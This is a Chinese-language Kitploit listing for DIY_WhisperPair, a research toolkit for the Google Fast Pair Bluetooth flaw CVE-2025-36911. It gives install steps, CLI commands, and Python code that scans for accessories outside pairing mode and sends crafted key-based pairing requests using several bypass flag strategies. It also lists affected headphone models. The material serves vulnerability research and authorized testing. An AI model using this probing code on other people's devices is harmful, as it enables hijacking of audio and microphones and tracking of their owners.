Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DIY_WhisperPair — 利用Google Fast Pair劫持蓝牙配件:WhisperPair CVE-2025-36911参考实现与漏洞验证工具包 | Kitploit
工具/GitHubGitHub/spectrixdev/diy_whisperpair
蓝牙安全漏洞分析漏洞利用无线安全渗透测试硬件与物联网安全论文与研究学习与教育
GitHubspectrixdev/diy_whisperpair

DIY_WhisperPair

利用Google Fast Pair劫持蓝牙配件:WhisperPair CVE-2025-36911参考实现与漏洞验证工具包

查看仓库
1031773个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

DIY-WhisperPair

CVE-2025-36911 参考实现与漏洞验证工具包

研究 CVE 状态

官方实现现已上线,感谢鲁汶大学团队(感谢致谢)

法律声明:这是一款安全研究工具。使用前请阅读 LEGAL.md。 未经授权访问计算机系统属于刑事犯罪。


WhisperPair 演示

WhisperPair 是什么?

利用 Google Fast Pair 劫持蓝牙配件。

WhisperPair (CVE-2025-36911) 是一个严重漏洞,攻击者可以在 无需用户同意 的情况下强制与旗舰音频配件配对,通常耗时不足10秒。

DIY-WhisperPair 是一个实现这些攻击的研究工具包,旨在演示三个关键风险:

  • 设备劫持:通过绕过配对模式检查,夺取音频和麦克风流的控制权。
  • 位置跟踪:恶意将设备注册到 Google 的“查找中心网络”以监视受害者。
  • 跨生态系统影响:无论配对的手机是 iOS 还是 Android,均可利用配件。

[!NOTE] 仅供研究:此工具包包含 概念验证 扫描器和验证器。它 不 包含主动窃听、持续位置跟踪或恶意载荷注入工具。其唯一目的是识别易受攻击的设备。


快速开始

root@kitploit:~
# 安装
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
pip install -e .

# 运行交互式 CLI
whisperpair

这将启动一个交互式菜单:

root@kitploit:~
╦ ╦╦ ╦╦╔═╗╔═╗╔═╗╦═╗╔═╗╔═╗╦╦═╗
║║║╠═╣║╚═╗╠═╝║╣ ╠╦╝╠═╝╠═╣║╠╦╝
╚╩╝╩ ╩╩╚═╝╩  ╚═╝╩╚═╩  ╩ ╩╩╩╚═

────────────── 主菜单 ──────────────

  1  扫描      发现附近 Fast Pair 设备
  2  验证      测试设备漏洞(需要授权)
  3  信息      获取详细设备信息
  4  关于      了解 CVE-2025-36911
  0  退出      退出应用程序

选择选项 [1]:

面向研究人员:Python API

本库设计为 易于扩展。按需导入:

简单函数

root@kitploit:~
import asyncio
from whisperpair import scan_devices, verify_device, get_device_info

# 扫描 Fast Pair 设备
devices = asyncio.run(scan_devices(timeout=10))
for d in devices:
    print(f"{d.address} - {d.name} - 风险: {'高' if not d.is_in_pairing_mode else '低'}")

# 仅查找易受攻击的设备(不在配对模式)
vulnerable = asyncio.run(scan_devices(vulnerable_only=True))

# 验证特定设备(需要授权)
result = asyncio.run(verify_device("AA:BB:CC:DD:EE:FF"))
if result.success:
    print(f"易受攻击 - 提供者地址: {result.provider_address}")

# 获取设备信息
info = asyncio.run(get_device_info("AA:BB:CC:DD:EE:FF"))
print(f"型号: {info['model_name']}")

构建自定义工具

root@kitploit:~
from whisperpair import (
    # 扫描器
    FastPairScanner,
    FastPairDevice,
    
    # 客户端
    FastPairClient,
    VerificationResult,
    
    # 协议
    KeyBasedPairingRequest,
    KeyBasedPairingResponse,
    PairingRequestFlags,
    parse_bluetooth_address,
    parse_kbp_response_multi_strategy,
    
    # 加密
    FastPairCrypto,
    aes_128_encrypt,
    aes_128_decrypt,
    generate_account_key,
    
    # 常量
    FAST_PAIR_SERVICE_UUID,
    KEY_BASED_PAIRING_CHAR_UUID,
    KNOWN_MODEL_IDS,
)

# 带回调的自定义扫描器
def on_found(device: FastPairDevice):
    if not device.is_in_pairing_mode:
        print(f"[!] 潜在目标: {device.address}")

scanner = FastPairScanner(timeout=15, on_device_found=on_found)
asyncio.run(scanner.scan())

# 构建原始协议包(标志位 0x11 = INITIATE_BONDING | EXTENDED_RESPONSE)
target_bytes = parse_bluetooth_address("AA:BB:CC:DD:EE:FF")
request = KeyBasedPairingRequest.for_verification(provider_address=target_bytes)
packet = request.build()  # 16 字节明文

# 多种验证策略可用:
# - strategy_raw_kbp()      - 标志位 0x11,适用于大多数易受攻击设备
# - strategy_with_seeker()  - 标志位 0x02,包含搜索者地址
# - strategy_retroactive()  - 标志位 0x0A,绕过某些检查
# - strategy_extended()     - 标志位 0x10,适用于较新设备

# 完全自定义流程(AES 密钥可选——仅响应检测即可表明漏洞)
async with FastPairClient("AA:BB:CC:DD:EE:FF") as client:
    model_id = await client.read_model_id()
    result = await client.verify_pairing_behavior()  # 检测无需密钥
    if result.response_received:
        print("易受攻击 - 设备在不应该响应时做出了响应")

示例脚本

参见 examples.py 获取可直接复制粘贴的示例:

root@kitploit:~
python examples.py scan              # 基本扫描
python examples.py vulnerable        # 查找易受攻击设备
python examples.py verify AA:BB:CC:DD:EE:FF
python examples.py custom            # 带回调的扫描器

CLI 命令

交互模式(默认)

root@kitploit:~
whisperpair

直接命令

root@kitploit:~
# 扫描设备
whisperpair scan
whisperpair scan --vulnerable
whisperpair scan --timeout 15

# 获取设备信息
whisperpair info AA:BB:CC:DD:EE:FF

# 验证漏洞(需要标志位)
whisperpair verify AA:BB:CC:DD:EE:FF --authorized

# 了解漏洞
whisperpair about

法律要求

您必须获得授权

此工具执行主动蓝牙操作。在执行任何验证命令之前,您必须拥有:

  1. 设备所有者的书面许可,或者
  2. 您自己拥有该设备

特定司法管辖区的法律

详细指导请参阅 LEGAL.md。


漏洞(CVE-2025-36911)

缺陷

Google Fast Pair 要求设备 仅在配对模式下接受配对请求。许多设备未能通过此检查:

root@kitploit:~
预期:设备检查“我是否处于配对模式?” → 否 → 拒绝
实际:设备无视模式状态,接受请求

检测原理

通过检查设备在非配对模式下 是否对基于密钥的配对请求做出任何响应 来检测漏洞:

root@kitploit:~
graph TD
    subgraph 包["基于密钥的配对请求(16 字节)"]
      direction LR
      B0["0x00"]
      B1["0x11"]
      MAC["MAC: 6 字节"]
      Salt["Salt: 8 字节"]
    end

    B0:::byte -- "消息类型" --> Desc0["基于密钥的配对请求"]
    B1:::byte -- "标志位" --> Desc1["INITIATE_BONDING | EXTENDED_RESP"]

    classDef byte fill:#e1f5fe,stroke:#333,stroke-width:1px;

检测:收到响应 = 易受攻击(无需 AES 密钥!)

影响

蓝牙范围内的攻击者(约 10-14 米)可以:

  • 通过受害者的耳机播放音频
  • 访问麦克风进行监控
  • 通过 Google “查找中心”跟踪位置

受影响设备(补丁前)

制造商设备
GooglePixel Buds Pro 2

项目结构

root@kitploit:~
DIY_WhisperPair/
├── src/whisperpair/
│   ├── __init__.py      # 公共 API 导出
│   ├── scanner.py       # BLE 设备发现
│   ├── client.py        # GATT 客户端与验证
│   ├── protocol.py      # 数据包构建器
│   ├── crypto.py        # AES-128, ECDH, 密钥
│   ├── constants.py     # UUID, 型号 ID
│   └── cli.py           # 交互式 CLI
├── examples.py          # 可复制粘贴的代码片段
├── security_demo.py     # 独立验证演示
├── LEGAL.md
└── README.md

安装

root@kitploit:~
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
pip install -e .

要求

  • Python 3.10+
  • 支持 BLE 的蓝牙适配器
  • Linux: BlueZ 5.50+
  • Windows: Windows 10 1703+
  • macOS: macOS 10.13+

参考文献

原始研究

  • 网站: whisperpair.eu
  • CVE: CVE-2025-36911
  • 论文: “WhisperPair: Hijacking Bluetooth Accessories Using Google Fast Pair”
  • 作者: KU Leuven DistriNet (Duttagupta, Antonijević, Preneel, Wyns, Singelée)

技术文档

  • Google Fast Pair 规范
  • 基于密钥的配对协议

视频

一键劫持所有设备


负责任使用

本工具仅用于:

  • 安全研究与漏洞验证
  • 授权的渗透测试
  • 设备制造商验证
  • 教育目的

禁止:未经授权访问、骚扰、监控或任何非法活动。


许可证

MIT 许可证 - 参见 LICENSE


致谢

  • SpectrixDev - 项目维护者
  • KU Leuven DistriNet - 原始研究
  • Google Android 安全团队 - 协调披露
  • Seytonic - 出色的讲解视频
下载工具
司法管辖区相关法律
英国1990 年《计算机滥用法》第 1-3A 条
美国《计算机欺诈与滥用法》(CFAA)
欧盟2013/40/EU 指令
德国《刑法典》§ 202a-c
澳大利亚1995 年《刑法典》第 10.7 部分
SonyWF-1000XM4, WH-1000XM5, LinkBuds S
JBLTune Buds, Live Pro 2
AnkerSoundcore Liberty 4
其他参见 whisperpair.eu